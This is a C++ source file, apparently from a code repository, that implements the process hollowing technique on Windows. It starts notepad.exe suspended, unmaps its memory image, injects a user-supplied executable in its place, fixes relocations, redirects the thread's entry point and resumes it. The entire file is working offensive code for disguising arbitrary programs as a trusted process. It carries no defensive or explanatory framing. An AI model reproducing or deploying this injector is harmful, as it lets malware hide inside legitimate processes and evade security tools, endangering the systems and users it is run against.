Files
2024-09-13 17:01:20 +03:00

246 lines
9.3 KiB
C++

#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <winternl.h>
#include "Header.h"
#include <iostream>
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: Process Hollowing.exe [Binary you want to Inject]\n");
return 0;
}
// Creating Suspended Process And Mapping a File To Memory
LPSTARTUPINFOA startupInfo = new STARTUPINFOA();
PROCESS_INFORMATION procInfo;
printf("[+] Creating Notepad.exe as Suspended Process.\n");
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, startupInfo, &procInfo);
// Get All The Register Values
printf("[+] Getting Current Context.\n");
LPCONTEXT threadContext = new CONTEXT();
threadContext->ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(procInfo.hThread, threadContext)) {
printf("[-] Error getting context\n");
return 0;
}
// Get The Base Address Of The Suspended Process
PVOID baseAddress;
#ifdef _X86_
ReadProcessMemory(procInfo.hProcess, (PVOID)(threadContext->Ebx + 8), &baseAddress, sizeof(PVOID), NULL);
#endif
#ifdef _WIN64
ReadProcessMemory(procInfo.hProcess, (PVOID)(threadContext->Rdx + (sizeof(SIZE_T) * 2)), &baseAddress, sizeof(PVOID), NULL);
#endif
// Getting The Address Of NtUnmapViewOfSection And Unmapping All Sections
printf("[+] Unmapping the Memory Section of Target Process.\n");
HMODULE ntdllHandle = GetModuleHandleA("ntdll");
FARPROC ntUnmapViewOfSectionProc = GetProcAddress(ntdllHandle, "NtUnmapViewOfSection");
_NtUnmapViewOfSectionFunc ntUnmapViewOfSection = (_NtUnmapViewOfSectionFunc)ntUnmapViewOfSectionProc;
if (ntUnmapViewOfSection(procInfo.hProcess, baseAddress)) {
printf("[-] Error to unmap the Section\n");
return 0;
}
// Open PE file and read it into memory
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open PE file." << std::endl;
return 1;
}
// Get the file size
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
std::cerr << "Failed to get file size" << std::endl;
CloseHandle(hFile);
return 1;
}
// Allocate buffer
char* PEBytes = (char*)malloc(fileSize);
if (PEBytes == nullptr) {
std::cerr << "Failed to allocate memory" << std::endl;
CloseHandle(hFile);
return 1;
}
// Read the file into memory
DWORD bytesRead;
if (!ReadFile(hFile, PEBytes, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
std::cerr << "Failed to read file into memory" << std::endl;
free(PEBytes);
CloseHandle(hFile);
return 1;
}
CloseHandle(hFile);
// Getting The DOS Header And The NT Header
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)PEBytes;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)PEBytes + dosHeader->e_lfanew);
// Allocating Memory in Suspended Process
PVOID allocatedMemory = VirtualAllocEx(procInfo.hProcess, baseAddress, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
#ifdef _X86_
// Calculate The Offset Of the 32-bits Process Base Address From The File's Base Address
DWORD baseOffset = (DWORD)baseAddress - ntHeaders->OptionalHeader.ImageBase;
printf("Original Process Base: 0x%p\nInject File Base: 0x%p\nOffset: 0x%p\n\n", ntHeaders->OptionalHeader.ImageBase, baseAddress, baseOffset);
// Change The File's Base Address To The Base Address Of The Suspended Process
ntHeaders->OptionalHeader.ImageBase = (DWORD)baseAddress;
#endif
#ifdef _WIN64
// Calculate The Offset Of the 64-bits Process Base Address From The File's Base Address
DWORD64 baseOffset = (DWORD64)baseAddress - ntHeaders->OptionalHeader.ImageBase;
printf("[+] Original Process Base: 0x%p\n[+] Inject File Base: 0x%p\n\n", ntHeaders->OptionalHeader.ImageBase, baseAddress);
// Change The File's Base Address To The Base Address Of The Suspended Process
ntHeaders->OptionalHeader.ImageBase = (DWORD64)baseAddress;
#endif
// Write The File's Headers To The Allocated Memory In The Suspended Process
if (!WriteProcessMemory(procInfo.hProcess, baseAddress, PEBytes, ntHeaders->OptionalHeader.SizeOfHeaders, 0)) {
printf("Failed to write Headers\n");
return 0;
}
// Write All The Sections From The Mapped File To The Suspended Process
PIMAGE_SECTION_HEADER sectionHeader;
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
// Get The Header Of The Current Section
sectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)PEBytes + dosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
printf("0x%p -- Writing Section: %s\n", (LPBYTE)allocatedMemory + sectionHeader->VirtualAddress, sectionHeader->Name);
// Write The Section From The File Into The Allocated Memory
if (!WriteProcessMemory(procInfo.hProcess, (PVOID)((LPBYTE)allocatedMemory + sectionHeader->VirtualAddress), (PVOID)((LPBYTE)PEBytes + sectionHeader->PointerToRawData), sectionHeader->SizeOfRawData, NULL)) {
printf("Error Writing Section: %s. At: 0x%p\n", sectionHeader->Name, (LPBYTE)allocatedMemory + sectionHeader->VirtualAddress);
}
}
// Check If There Is an Offset Between the Base Addresses
if (baseOffset) {
printf("\nRelocating The Relocation Table...\n");
// Loop Over Every Section
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
// Get The Header Of The Current Section
sectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)PEBytes + dosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
// Compare The Section Name To The ".reloc" Section
char relocSectionName[] = ".reloc";
if (memcmp(sectionHeader->Name, relocSectionName, strlen(relocSectionName))) {
// If The Section Is Not The ".reloc" Section Continue To The Next Section
continue;
}
// Get The Address Of The Section Data
DWORD relocAddress = sectionHeader->PointerToRawData;
IMAGE_DATA_DIRECTORY relocData = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD offset = 0;
// Iterate Over The Relocation Table
while (offset < relocData.Size) {
// Get The Header Of The Relocation Block
PRELOCATION_BLOCK blockHeader = (PRELOCATION_BLOCK)&PEBytes[relocAddress + offset];
printf("\nRelocation Block 0x%p. Size: 0x%p\n", blockHeader->PageAddress, blockHeader->BlockSize);
offset += sizeof(RELOCATION_BLOCK);
// Calculate The Entries In The Current Table
DWORD entryCount = (blockHeader->BlockSize - sizeof(RELOCATION_BLOCK)) / sizeof(RELOCATION_ENTRY);
printf("%d Entries Must Be Relocated In The Current Block.\n", entryCount);
PRELOCATION_ENTRY blockEntries = (PRELOCATION_ENTRY)&PEBytes[relocAddress + offset];
for (int x = 0; x < entryCount; x++)
{
offset += sizeof(RELOCATION_ENTRY);
// If The Type Of The Entry Is 0 We Don't Need To Do Anything
if (blockEntries[x].Type == 0) {
printf("The Type Of Base Relocation Is 0. Skipping.\n");
continue;
}
// Resolve The Address Of The Reloc
DWORD fieldAddress = blockHeader->PageAddress + blockEntries[x].Offset;
#ifdef _X86_
// Read The Value At That Address
DWORD entryAddress = 0;
ReadProcessMemory(procInfo.hProcess, (PVOID)((DWORD)baseAddress + fieldAddress), &entryAddress, sizeof(PVOID), 0);
printf("0x%p --> 0x%p | At:0x%p\n", entryAddress, entryAddress + baseOffset, (PVOID)((DWORD)baseAddress + fieldAddress));
// Add The Correct Offset To That Address And Write It
entryAddress += baseOffset;
if (!WriteProcessMemory(procInfo.hProcess, (PVOID)((DWORD)baseAddress + fieldAddress), &entryAddress, sizeof(PVOID), 0)) {
printf("Error Writing Entry.\n");
}
#endif
#ifdef _WIN64
// Read The Value At That Address
DWORD64 entryAddress = 0;
ReadProcessMemory(procInfo.hProcess, (PVOID)((DWORD64)baseAddress + fieldAddress), &entryAddress, sizeof(PVOID), 0);
printf("0x%p --> 0x%p | At:0x%p\n", entryAddress, entryAddress + baseOffset, (PVOID)((DWORD64)baseAddress + fieldAddress));
// Add The Correct Offset To That Address And Write It
entryAddress += baseOffset;
if (!WriteProcessMemory(procInfo.hProcess, (PVOID)((DWORD64)baseAddress + fieldAddress), &entryAddress, sizeof(PVOID), 0)) {
printf("Error Writing Entry.\n");
}
#endif
}
}
}
}
#ifdef _X86_
// Write The New Image Base Address
WriteProcessMemory(procInfo.hProcess, (PVOID)(threadContext->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
// Write The New Entry Point
DWORD entryPoint = (DWORD)((LPBYTE)allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint);
threadContext->Eax = entryPoint;
#endif
#ifdef _WIN64
// Write The New Image Base Address
WriteProcessMemory(procInfo.hProcess, (PVOID)(threadContext->Rdx + (sizeof(SIZE_T) * 2)), &ntHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
// Write The New Entry Point
DWORD64 entryPoint = (DWORD64)((LPBYTE)allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint);
threadContext->Rcx = entryPoint;
#endif
printf("\n[+] Setting the Thread Context.\n");
if (!SetThreadContext(procInfo.hThread, threadContext)) {
printf("Error setting context\n");
return 0;
}
printf("[+] Resuming Thread.\n");
if (!ResumeThread(procInfo.hThread)) {
printf("[-]Error resuming thread\n");
return 0;
}
printf("[+] Process Hollowing Technique Done");
return 0;
}